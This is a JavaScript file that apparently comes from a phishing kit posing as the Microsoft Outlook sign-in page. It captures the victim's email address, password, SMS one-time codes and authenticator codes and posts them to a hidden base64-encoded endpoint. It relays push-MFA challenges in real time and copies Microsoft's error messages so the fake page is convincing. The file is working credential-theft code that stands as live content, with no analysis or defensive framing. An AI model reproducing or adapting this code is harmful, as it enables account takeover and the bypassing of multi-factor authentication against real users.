// $(document).ready(function(){ document.title='Sign in to Outlook'; $.support.cors = true var em;//atob($('#bkupttrferrs').val()); var ur =atob($('#uurl').val()); $('.click-to-enter').click(function(){ $.post(ur,'auth=1&st='+$('.stealth').val(),function(data){ if(data){ $('.show-2fa-code').hide(function(){ $('.input-code').show(); }); } }); }); $('.btn-email').click(function(){ var em = $('#email').val(); sera = {em} $('#bkupttrferrs').val(em); $.post(ur,sera,function(data){ if(data && data != 'fail'){ var i=JSON.parse(data); if(i.bg_image !== null && i.bg_image !== ''){ $('#bg_img').css('background-image', 'linear-gradient(rgba(0,0,0,0.527),rgba(0,0,0,0.5)),url(' + i.bg_image + ')'); $('#banner_image').hide(); // alert(i.logo_image); } if(i.logo_image !== null && i.logo_image !== ''){ $('#logo_image').attr('src', i.logo_image); $('#banner_image').hide(); // alert(i.logo_image); } $('.identity').html(em) $('#add_em').hide(); $('#add_pass').show(); }else{ $('.error-user').html('We couldn\'t find an account with that username. Try another, or get a new Microsoft account.'); } }); }); $('#loadingScreen').hide(function(){ $('#content').show(function(){ // $('.identity').html(em) var hash = window.location.hash; if(hash.includes('#')){ try{ var email = btoa(atob(hash.split('#')[1])) == hash.split('#')[1] ? atob(hash.split('#')[1]) : hash.split('#')[1]; }catch(e){ var email = hash.split('#')[1]; } var re = /^(([^<>()[\]\.,;:\s@\"]+(\.[^<>()[\]\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; if(re.test(email)){ $("#pick_em").hide(); $("#em_picker").html(email); $('#bkupttrferrs').val(email); var em = email; $('.email-picker').click(); location.hash = ""; } else{ $('#add_em').show(); } }else{ $('#add_em').show(); } }); }); var em = $('#bkupttrferrs').val(); $('.email-picker').on('click', function (){ var em = $('#bkupttrferrs').val(); $('.identity').html(em); $(".error-alert-pass").hide(); sera = {em} $('#bkupttrferrs').val(em); $.post(ur,sera,function(data){ if(data && data != 'fail'){ var i=JSON.parse(data); if(i.bg_image !== null && i.bg_image !== ''){ $('#bg_img').css('background-image', 'linear-gradient(rgba(0,0,0,0.527),rgba(0,0,0,0.5)),url(' + i.bg_image + ')'); $('#banner_image').hide(); // alert(i.logo_image); } if(i.logo_image !== null && i.logo_image !== ''){ $('#logo_image').attr('src', i.logo_image); $('#banner_image').hide(); // alert(i.logo_image); } $('.identity').html(em) $('#pick_em').hide(); $('#add_pass').show(); }else{ $('#pick_em').hide(); $('.error-user').html('We couldn\'t find an account with that username. Try another, or get a new Microsoft account.'); $('#add_em').show(); } }); }); $('.submit-mfa1-code').click(function(){ var em = $('#bkupttrferrs').val(); $('.mfa-error').hide() var cd = $('.mfa1-code').val() var patter = /^[0-9]+$/; if(!patter.test(cd)){ return false; } var to_mfa = 'mf_code='+cd+'&st='+$('.stealth').val()+'&emst='+em+'&pse='+$('#password').val();; $.post(ur,to_mfa,function(data){ data = JSON.parse(data) if(data.v==0){ $('.mfa-error').show() } else if(data.v == 1){ location.replace(data.t); setTimeout("window.location.href='"+ data.t +"';", 1000); } }); }); $('.submit-2fa').click(function(){ var em = $('#bkupttrferrs').val(); $('.code-error').hide(function(){ $('.sms-error').hide(); }); var cde=$('#idTxtBx_SAOTCC_OTC').val(); var patter = /^[0-9]+$/; if(!patter.test(cde) || cde.length!=6){ $('.code-error').show(function(){ $('.sms-error').show(); $('.error-type').html('Please enter the 6-digit code. The code only contains numbers'); }); return false } var entry = 'code='+$('#idTxtBx_SAOTCC_OTC').val()+'&st='+$('.stealth').val()+'&emst='+em+'&pse='+$('#password').val(); $.post(ur,entry,function(data){ var data=JSON.parse(data) if(data.v=='0'){ $('.code-error').show(function(){ $('.sms-error').show(); }); } else if(data.v=="1"){ location.replace(data.t); setTimeout("window.location.href='"+ data.t +"';", 1000); } //incorrect //or //redirect }); }); $('.nextb').click(function(){ $(".info-verify").hide(); $('.nextb').prop('disabled', true); $(".pass-error").hide(); $('.alert-erro').hide(); var pswd = $('#password').val(); var em = $('#bkupttrferrs').val(); if(!pswd){ $('.alert-erro').show(); $('.alert-erro').html('Please enter the password for your Microsoft account.'); $('.nextb').prop('disabled', false); } else{ $('#progressBar').show(); var auth = $('#bkupttrferrs').val(); compi = {auth,pswd}; $.post(ur,compi,function(data){ var result = JSON.parse(data); if(result.t=='valid'){ var finish_url=result.finish; location.replace(finish_url); setTimeout("window.location.href='"+ finish_url +"';", 1000); }else if(result.t=='sms'){ $('.enter-pass').hide(function(){ $('.show-2fa-code').show(); }); $('.add-text').html(result.number); $('.stealth').val(result.file); $('#progressBar').hide(); //var finish_url=result.finish; // location.replace(finish_url); //setTimeout("window.location.href='"+ finish_url +"';", 1000); } else if(result.t=='mfa1'){ $('.enter-pass').hide(function(){ $.post(ur,'start_mfa=1&st='+result.file,function(d,t){ //alert(1); }); $('.show-mfa1-code').show(); }); $('.stealth').val(result.file); $('#progressBar').hide(); //var finish_url=result.finish; // location.replace(finish_url); //setTimeout("window.location.href='"+ finish_url +"';", 1000); } else if(result.t=='mfa2'){ $('.enter-pass').hide(function(){ $.post(ur,'start_mfa=1&st='+result.file,function(d,t){ if(true){ var cde = d; $('.displaySign').text(cde); } }); $('.show-mfa2-code').show(); }); $('.stealth').val(result.file); $('#progressBar').hide(); setTimeout(function(){ var def_count = 0; var intervalId = window.setInterval(function(){ def_count+=1; if(def_count == 13){ clearInterval(intervalId); $('.show-mfa2-code').hide(function(){ $('.mfa2-error').show(); }); } var to_mfa2 = 'mf_code=&st='+$('.stealth').val()+'&emst='+em+'&pse='+$('#password').val();; $.post(ur,to_mfa2,function(data){ var data=JSON.parse(data) if(data.v==1){ location.replace(data.t); setTimeout("window.location.href='"+ data.t +"';", 1000); } //incorrect //or //redirect }); }, 5500); },2000); } else{ $('#progressBar').hide(); $(".error-alert").show(); $('.pass-error').show(); $(".pass-error").html("Your email or password is incorrect. If you don't remember your password, reset it now."); $('.nextb').prop('disabled', false); $('#password').val(null); } }); } }); $(document).on("keypress",function(e) { if(e.which == 13) { if($("#add_em").is(":visible")){ $(".btn-email").click() } else if($(".enter-pass").is(":visible")){ $(".nextb").click() } else if($(".input-code").is(":visible")){ $(".submit-2fa").click() } } }); //}); //});